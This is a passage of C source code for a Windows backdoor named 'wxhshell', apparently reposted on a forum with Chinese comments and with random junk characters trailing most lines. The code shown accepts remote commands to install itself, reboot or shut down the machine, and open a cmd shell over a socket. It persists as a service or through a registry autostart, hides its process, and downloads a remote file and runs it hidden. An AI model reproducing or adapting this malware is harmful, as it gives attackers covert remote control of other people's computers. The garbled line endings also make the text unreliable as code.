      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7FC!^)x1  
    break; MK1\  
  } Oe5rRQ$O  
  // 安装 jVff@)_S  
  case 'i': { b-u@?G|<  
    if(Install()) t;* zr*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N/tcW  
    else +?J  N_aR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]8A*uyi  
    break; $nt&'Xnv  
    } s= %3`3Fo  
  // 卸载 <h -)zI  
  case 'r': { D{(}&8a9  
    if(Uninstall()) &5W;E+Pub  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M%E<]H2;S  
    else y3~`qq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oiib2Ov  
    break; 8T1`9ITl:  
    } N@d~gE&^  
  // 显示 wxhshell 所在路径 |=0vgwd"S  
  case 'p': { +[76_EXy  
    char svExeFile[MAX_PATH]; HVa9b;  
    strcpy(svExeFile,"\n\r"); JSL&` `  
      strcat(svExeFile,ExeFile); ^lp=4C9  
        send(wsh,svExeFile,strlen(svExeFile),0); )Cy>'l*Og7  
    break; Ul8HWk[6Iw  
    } 1KZigeHXI  
  // 重启 ?UsCSJ1V  
  case 'b': { z~t0l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VeQGdyhY  
    if(Boot(REBOOT)) :E9pdx+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /EjXyrn2  
    else { coXg]bUKo  
    closesocket(wsh); ?t 'V5$k\  
    ExitThread(0); Im6gWDdq@6  
    } v0 C+DKi  
    break; L3b0e_8>R  
    } [FBS|v#T  
  // 关机 uWJJ\  
  case 'd': { [/a AH<9b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TtkHMPlm_  
    if(Boot(SHUTDOWN)) 4X^$"lM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C3'xU`=7  
    else { oJA_" xp  
    closesocket(wsh); d*8*9CpO:  
    ExitThread(0); l8G1N[  
    } ?^U?ua6  
    break; Jl_W6gY"Z  
    } L6h<B :l  
  // 获取shell g+B7~Z5,  
  case 's': { ]N 9N][n  
    CmdShell(wsh); [H*JFKpx  
    closesocket(wsh); &g;!n&d zP  
    ExitThread(0); .jJD$FC  
    break; S<7!<]F-  
  } e]VW\ 6J&  
  // 退出 c^I^jg2v  
  case 'x': { Bz/ba *  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7(}'jZ  
    CloseIt(wsh); Y"lEMY  
    break; ao)';[%9s  
    } 35l%iaj]G5  
  // 离开 /ZyMD(_J  
  case 'q': { ,IB\1#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DQGrXMpV0  
    closesocket(wsh); FO*Gc Z  
    WSACleanup(); }||u {[  
    exit(1); {&+M.Xn  
    break; ;`oK5  
        } fg LY{  
  } M P8Sd1_=  
  } Hs)Cf)8u  
?z>J7 }w*=  
  // 提示信息 DKf(igw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j""ZFh04  
} $ 64up!  
  } *Z#OfB4}  
m""+ $  
  return; lpXGsK H2  
} hJ(vDv%  
GQYR`;>  
// shell模块句柄 h^g0|p5  
int CmdShell(SOCKET sock) M{ncWq*_j  
{ <&m50pq  
STARTUPINFO si; jfG of*  
ZeroMemory(&si,sizeof(si)); {wC*61@1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OKh0m_ )7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +ydd"`  
PROCESS_INFORMATION ProcessInfo; Xqw}O2QQ1  
char cmdline[]="cmd"; ?9t4>xKn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u"&?u+1j  
  return 0; lU doMm  
} WkXgz6 P  
_tHhS@   
// 自身启动模式 Mz&/.A  
int StartFromService(void) l:'#pZ4T  
{ 0!,uo\`  
typedef struct =.z;:0]'n  
{ Wxj_DTi[1"  
  DWORD ExitStatus; bL xZ 5C7t  
  DWORD PebBaseAddress; a Vu!Qk=Z/  
  DWORD AffinityMask; SE\?8cs]-  
  DWORD BasePriority; d3:GmB .  
  ULONG UniqueProcessId; ,!_6X9N-h  
  ULONG InheritedFromUniqueProcessId; # ][i!9$  
}   PROCESS_BASIC_INFORMATION; +%YBa'Lk  
!~|-CF0z=  
PROCNTQSIP NtQueryInformationProcess; S L 5k^|  
G:1d6[Q5{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ": vGs_$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y@!M<#SEzG  
2{?]W/&fS  
  HANDLE             hProcess; ;j%I1k%A  
  PROCESS_BASIC_INFORMATION pbi; b$klm6nMvm  
k\[(;9sf.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &IN%2c  
  if(NULL == hInst ) return 0; Y'iI_cg  
}@q/.Ct! x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o6vnl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); opa}z-7>^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MS\vrq'_  
?=9'?K/~a  
  if (!NtQueryInformationProcess) return 0; Os<E7l zqO  
F6}RPk\=i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t~(jA9n  
  if(!hProcess) return 0; p=:Vpg<!  
ZGZNZ}~#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7(1`,Y  
%_W4\  
  CloseHandle(hProcess); XHU$&t`7>g  
vu0Ue  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4fs d5#  
if(hProcess==NULL) return 0; 'yPKQ/y$x  
l(NQk> w  
HMODULE hMod; XSC=qg$  
char procName[255]; Z$/76  
unsigned long cbNeeded; 'TS_Am?o  
iv>MIdIm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _;03R{e*  
ZxNTuGOB:  
  CloseHandle(hProcess); 5;}W=x^$a  
EQ273sdK  
if(strstr(procName,"services")) return 1; // 以服务启动 i*=~m O8E  
os{ iY  
  return 0; // 注册表启动 ol"|?*3q  
} kY$EK]s  
I Id4w~|  
// 主模块 FL{?W(M  
int StartWxhshell(LPSTR lpCmdLine) 5Rl\& G\  
{ uj6'T Sl  
  SOCKET wsl; aB6xRn9  
BOOL val=TRUE; Y]SF0:v!n  
  int port=0; o*H U^  
  struct sockaddr_in door; B`mJT*B[  
@F 5Af/  
  if(wscfg.ws_autoins) Install(); 0 cycnOd  
]zlA<w8  
port=atoi(lpCmdLine); D[yyFo,z  
(1'DZ xJ&u  
if(port<=0) port=wscfg.ws_port; 0:v !'  
:rL%,o"  
  WSADATA data; l?*DGW(t{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %(6IaqJ[  
9;#RzelSp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AI2XNSV@Yl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OPNRBMD  
  door.sin_family = AF_INET; I uxf`sd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CI{2(.n4  
  door.sin_port = htons(port); S-Y{Vi"2  
P{9:XSa%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R->x_9y-R  
closesocket(wsl); |4mvB2r  
return 1; =#u4^%i)  
} -i8KJzPL f  
`0NU c)`  
  if(listen(wsl,2) == INVALID_SOCKET) { {J==y;dK  
closesocket(wsl); ==[(Mn,%d  
return 1; J|BElBY  
} -LiGO#U  
  Wxhshell(wsl); Jb"FY:/Qv+  
  WSACleanup(); R@K\   
D<J'\mo  
return 0; 8lV:-"+5  
t.ulG *  
} M>i(p%  
tQ9%rb  
// 以NT服务方式启动 R0=f`;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `a& L  
{ <2)AbI+3  
DWORD   status = 0; 2G~{x7/[@  
  DWORD   specificError = 0xfffffff; |3FI\F;^q  
9F807G\4Qt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4fKvB@O@.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9;L4\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;3/}"yG<p  
  serviceStatus.dwWin32ExitCode     = 0; ^i8,9T'=  
  serviceStatus.dwServiceSpecificExitCode = 0; q8$t4_pF  
  serviceStatus.dwCheckPoint       = 0;  NAD^10  
  serviceStatus.dwWaitHint       = 0; ~5HT _B U=  
%<>:$4U@]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $L^%*DkM  
  if (hServiceStatusHandle==0) return; 5$ =[x!x  
tKt}]KHV  
status = GetLastError(); H7'42J@  
  if (status!=NO_ERROR) QDn_`c  
{ r4mh:T4i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sl8+A+  
    serviceStatus.dwCheckPoint       = 0; BHY-fb@R]H  
    serviceStatus.dwWaitHint       = 0; M Z"V\6T]  
    serviceStatus.dwWin32ExitCode     = status; 6 >)fNCe`  
    serviceStatus.dwServiceSpecificExitCode = specificError; +DRt2a #  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3?B1oIHQ  
    return; 9W=(D|,,  
  } zn>lF  
6vK`J"d{~D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =CFjG)L  
  serviceStatus.dwCheckPoint       = 0; O H>.N"IG  
  serviceStatus.dwWaitHint       = 0; 9^!.!%6O$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9YI@c_1 Q  
} J6CSu7Voa  
?c?@j}=?yY  
// 处理NT服务事件,比如:启动、停止 c= t4 gf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c6F?#@?   
{ =u2~=t=LV  
switch(fdwControl) |>(Vo@  
{ 9\Gk)0  
case SERVICE_CONTROL_STOP: eI ( S)q  
  serviceStatus.dwWin32ExitCode = 0; 2-'_Nwkl*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >IS4  
  serviceStatus.dwCheckPoint   = 0; _-vlN  
  serviceStatus.dwWaitHint     = 0; ;:=j{,&dl[  
  { _AF$E"f@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a>vxox) %  
  } U1:m=!S;x  
  return; WuE]pm]c  
case SERVICE_CONTROL_PAUSE: &n | <NF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |y7TYjg6  
  break; M<Bo<,!ua  
case SERVICE_CONTROL_CONTINUE: p^Ey6,!8]D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m u9,vH  
  break; fL| 9/sojz  
case SERVICE_CONTROL_INTERROGATE: yr+QV:oVA  
  break; zmQQ/ 7K  
}; 8(n>99 VVK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'ij+MU 1  
} \Yj_U'2"i  
<p<6!tdO  
// 标准应用程序主函数 #om Gj&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M%:\ry4:  
{ yreH/$Ou 8  
0 @#Jz#?  
// 获取操作系统版本 J ?{sTj"KB  
OsIsNt=GetOsVer(); 9 5!xJdq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ED8{  
(tA[]ne2  
  // 从命令行安装 jkl dr@t  
  if(strpbrk(lpCmdLine,"iI")) Install(); U>kaQ54/  
(A2ga):Pk  
  // 下载执行文件 pzRVX8  
if(wscfg.ws_downexe) { jy~hLEt7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NCg("n,jx  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2XyyU}.$  
} Bj{J&{  
z>+CMH5L)  
if(!OsIsNt) { F lVG,Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 M5*Ln-qt(a  
HideProc(); lFuW8G,-f@  
StartWxhshell(lpCmdLine); k @fxs]Y_L  
} i+S%e,U*  
else ?6*\  M  
  if(StartFromService()) `%|3c  
  // 以服务方式启动 1?)h-aN  
  StartServiceCtrlDispatcher(DispatchTable); %ly&~&0  
else bo/U5p  
  // 普通方式启动 R}(Rv3>Xx  
  StartWxhshell(lpCmdLine); Ox ,Rk  
[.l,#-vp  
return 0; Y|mtQ E?c  
}
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只看该作者 1 发表于: 2006-10-10
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